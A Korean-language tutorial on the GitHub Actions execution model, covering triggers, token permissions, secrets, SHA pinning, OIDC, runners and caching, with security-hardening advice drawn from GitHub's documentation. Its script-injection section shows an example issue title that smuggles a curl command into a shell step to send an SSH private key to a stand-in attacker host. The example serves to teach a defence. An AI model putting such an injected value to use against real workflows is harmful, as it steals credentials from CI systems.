GitHub Actions — 문법과 실행 모델
워크플로 문법은 금방 익힌다. 문제는 언제 무엇이 어떤 권한으로 도는가다. 이 편은 그 실행 모델을 따라간다.
1. 계층
워크플로 파일 하나가 여러 잡을 담고, 잡 하나가 여러 스텝을 담는다. 잡끼리는 기본적으로 병렬이고 스텝은 순차다.
name: CI
on:
push: { branches: [main] }
pull_request:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: 22, cache: npm }
- run: npm ci
- run: npm test
여기서 놓치기 쉬운 것은 잡이 서로 다른 러너에서 돈다는 점이다. 파일시스템이 공유되지 않으므로 잡 사이에 산출물을 넘기려면 아티팩트를 써야 하고, 같은 머신에서 이어 하려면 한 잡 안의 스텝으로 둬야 한다.
2. 트리거 — on
on:
push:
branches: [main]
paths: ["src/**", "package.json"] # 이 경로가 바뀔 때만
pull_request:
types: [opened, synchronize, reopened]
schedule:
- cron: "0 3 * * 1" # UTC 기준
workflow_dispatch: # 수동 실행
inputs:
env: { type: choice, options: [staging, prod] }
workflow_call: # 다른 워크플로가 부를 수 있게
paths 필터로 모노레포의 불필요한 실행을 크게 줄일 수 있다. 다만 필수 상태 체크로 지정한 워크플로가 paths 로 건너뛰어지면 PR 이 "체크 대기" 로 영원히 멈춘다. 그 경우 항상 성공하는 더미 잡을 두는 우회가 필요하다.
cron 은 UTC 기준이다. 한국 시간으로 생각하면 9시간 어긋난다.
pull_request vs pull_request_target
pull_request— PR 브랜치의 코드로 돈다. 토큰 권한이 읽기로 제한되고, 포크에서 온 PR 은 시크릿에 접근할 수 없다pull_request_target— 베이스 브랜치의 워크플로로 돌지만 시크릿과 쓰기 권한을 갖는다
pull_request_target 에서 PR 코드를 체크아웃하면 신뢰할 수 없는 코드가 시크릿을 가진 채로 실행된다. 대표적인 공급망 취약점 패턴이다. 꼭 필요하면 PR 코드를 실행하지 말고 메타데이터만 다룬다.
3. 권한 — GITHUB_TOKEN
permissions:
contents: read # 기본을 읽기로
jobs:
release:
permissions:
contents: write # 필요한 잡에서만 올린다
id-token: write # OIDC 를 쓸 때
공식 문서의 권장은 명확하다 — "set the default permission for the GITHUB_TOKEN to read access only for repository contents. The permissions can then be increased, as required, for individual jobs."
기본값이 넓게 설정된 저장소가 많은데, 워크플로마다 permissions 를 명시하면 저장소 기본값과 무관하게 좁힐 수 있다.
4. 시크릿 — 어디까지 지켜 주나
로그에서 마스킹되지만, 정확히 일치하는 값을 찾는 방식이다. 그래서 공식 문서가 네 가지를 경고한다.
- 구조화된 데이터(JSON·XML)를 시크릿으로 쓰지 않는다 — 부분 문자열이 그대로 노출될 수 있다
- 변형된 값도 따로 등록한다 — base64·URL 인코딩된 형태는 별개의 문자열이라 마스킹되지 않는다
- 주기적으로 교체한다
- 실제 사용 후 로그를 감사한다
스크립트 인젝션이 가장 흔한 실수다
- run: echo "제목: ${{ github.event.issue.title }}" # ✗ 위험
PR 제목·이슈 본문·브랜치 이름은 공격자가 정하는 문자열이다. 그것을 셸 명령에 직접 보간하면 임의 명령이 실행된다. 제목이 "; curl attacker.com/$(cat ~/.ssh/id_rsa | base64); # 이면 그대로 돈다.
공식 권장은 중간 환경변수를 거치는 것이다.
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "제목: $TITLE" # ✓ 셸이 문자열로 다룬다
5. 액션을 SHA 로 고정한다
- uses: actions/checkout@v4 # 태그 — 바뀔 수 있다
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # SHA — 불변
공식 문서는 이렇게 못 박는다 — "Pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release."
태그는 옮길 수 있다. v4 태그를 공격자가 자기 커밋으로 옮기면 그 액션을 쓰는 모든 저장소가 즉시 영향을 받는다. 실제로 널리 쓰이던 액션이 침해돼 시크릿이 유출된 사건이 있었다.
- 서드파티 액션은 SHA 로 고정한다
- Dependabot 이 SHA 갱신 PR 을 만들어 준다 (주석으로 버전을 남긴다)
- 조직 정책으로 허용 액션 목록을 제한한다
6. OIDC — 장기 자격증명을 없앤다
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
aws-region: ap-northeast-2
예전에는 AWS 액세스 키를 시크릿에 저장했다. 유출되면 무기한 유효하고, 교체가 번거로워 방치되기 쉽다. OIDC 를 쓰면 워크플로가 단기 토큰을 발급받아 역할을 맡는다. 저장할 장기 자격증명이 없고, 클라우드 쪽에서 어느 저장소·브랜치인지로 신뢰 조건을 건다.
신뢰 정책을 좁게 쓰는 것이 핵심이다.
sub조건을repo:org/repo:ref:refs/heads/main처럼 구체적으로 적는다.repo:org/*로 넓게 쓰면 조직 안 아무 저장소가, 심지어 새로 만든 저장소가 운영 권한을 갖게 된다.
7. 러너
- GitHub 호스티드 — 매번 깨끗한 VM. 관리 부담이 없다. 공개 저장소는 무료, 비공개는 사용량 과금
- 셀프 호스티드 — 우리 인프라에서 돈다. 사양·네트워크를 통제할 수 있다
공식 문서의 경고가 셀프 호스티드의 성격을 그대로 말해 준다 — "do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code."
셀프 호스티드를 공개 저장소에 붙이면 안 된다. 누구나 PR 로 임의 코드를 우리 인프라에서 실행할 수 있고, 한 번 침해되면 다음 잡까지 영향을 준다. 써야 한다면 비공개 저장소에만, 잡마다 새 VM/컨테이너로, 자격증명을 두지 않고 네트워크를 좁혀서 쓴다.
8. 속도 — 캐시와 병렬
- uses: actions/cache@v4
with:
path: ~/.m2/repository
key: maven-${{ hashFiles('**/pom.xml') }}
restore-keys: maven-
key— 정확히 일치하면 복원한다. 잠금 파일 해시를 쓰는 것이 정석이다restore-keys— 정확히 없으면 접두사가 맞는 최근 캐시를 가져온다. 처음부터 받는 것보다 낫다
setup-node · setup-java 같은 액션들은 cache 옵션을 내장하고 있어 그쪽이 더 간단하다.
strategy:
matrix:
node: [20, 22]
os: [ubuntu-latest, macos-latest]
fail-fast: false # 하나 실패해도 나머지는 계속
매트릭스는 조합만큼 잡이 생긴다(2 × 2 = 4). 불필요하게 넓히면 비용과 시간이 곱으로 늘어난다. fail-fast 는 기본이 true 라 하나 실패하면 나머지를 취소한다. 빠른 피드백에는 좋고, 전체 결과를 보고 싶을 때만 false 로 둔다.
9. 재사용
# .github/workflows/reusable-build.yml
on:
workflow_call:
inputs:
image-tag: { type: string, required: true }
secrets:
registry-token: { required: true }
# 호출하는 쪽
jobs:
build:
uses: ./.github/workflows/reusable-build.yml
with: { image-tag: ${{ github.sha }} }
secrets: inherit
재사용 워크플로는 잡 단위를 통째로 재사용하고, 합성 액션(composite)은 스텝 묶음을 재사용한다. 조직 표준 파이프라인을 재사용 워크플로로 만들어 두면 저장소마다 몇 줄만 쓰면 되고, 보안 설정(permissions · SHA 고정)을 한곳에서 강제할 수 있다.
10. 동시성 — 중복 실행 취소
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
같은 PR 에 연속으로 push 하면 이전 실행이 취소돼 러너 시간이 크게 절약된다. 다만 운영 배포에는 cancel-in-progress: false 로 둔다. 배포 중간에 취소되면 어중간한 상태가 남을 수 있으므로, 취소 대신 순서대로 하나씩 돌게 한다.
11. 자주 겪는 것
| 증상 | 원인 |
|---|---|
| 워크플로가 아예 안 뜬다 | 파일 문법 오류 — Actions 탭에서 확인 |
| 포크 PR 에서 시크릿이 비어 있다 | 의도된 동작이다 |
| 잡 간 파일이 안 넘어간다 | 러너가 다르다 → upload-artifact / download-artifact |
| 태그 push 에 안 돈다 | on.push.tags 를 따로 지정해야 한다 |
| push 했는데 다음 워크플로가 안 돈다 | GITHUB_TOKEN push 는 트리거하지 않는다 (무한 루프 방지). PAT·App 토큰이 필요하다 |
| 로그가 마스킹돼 디버깅이 어렵다 | ACTIONS_STEP_DEBUG 시크릿으로 상세 로그를 켠다 |
한눈에 정리
- 계층 — 워크플로 → 잡(러너 하나) → 스텝. 잡끼리는 파일시스템이 다르다
- 트리거 —
paths로 모노레포 실행을 줄인다.cron은 UTC pull_request_target— 시크릿을 갖고 도는 이벤트다. PR 코드를 실행하지 않는다permissions— 기본을read로 두고 잡마다 올린다- 시크릿 — 정확 일치 마스킹이다. 구조화 데이터 금지, 변형값도 등록
- 인젝션 — PR 제목·브랜치명은 공격자 입력이다 → 환경변수를 거친다
- 액션 고정 — SHA 가 유일한 불변 참조다. 태그는 옮겨질 수 있다
- OIDC — 장기 키를 없앤다. 신뢰 조건(
sub)을 좁게 쓴다 - 셀프 호스티드 — 공개 저장소에 붙이지 않는다. 일회성으로 돌린다
- 캐시 — 잠금 파일 해시를
key로,restore-keys로 부분 적중 concurrency— PR 은 취소, 운영 배포는 취소하지 않는다
출처 — GitHub Docs: "Workflow syntax for GitHub Actions" · "Security hardening for GitHub Actions"(스크립트 인젝션 · SHA 고정 ·
GITHUB_TOKEN권한 · 시크릿 · 셀프 호스티드 러너 · OIDC) · "Using OpenID Connect with reusable workflows"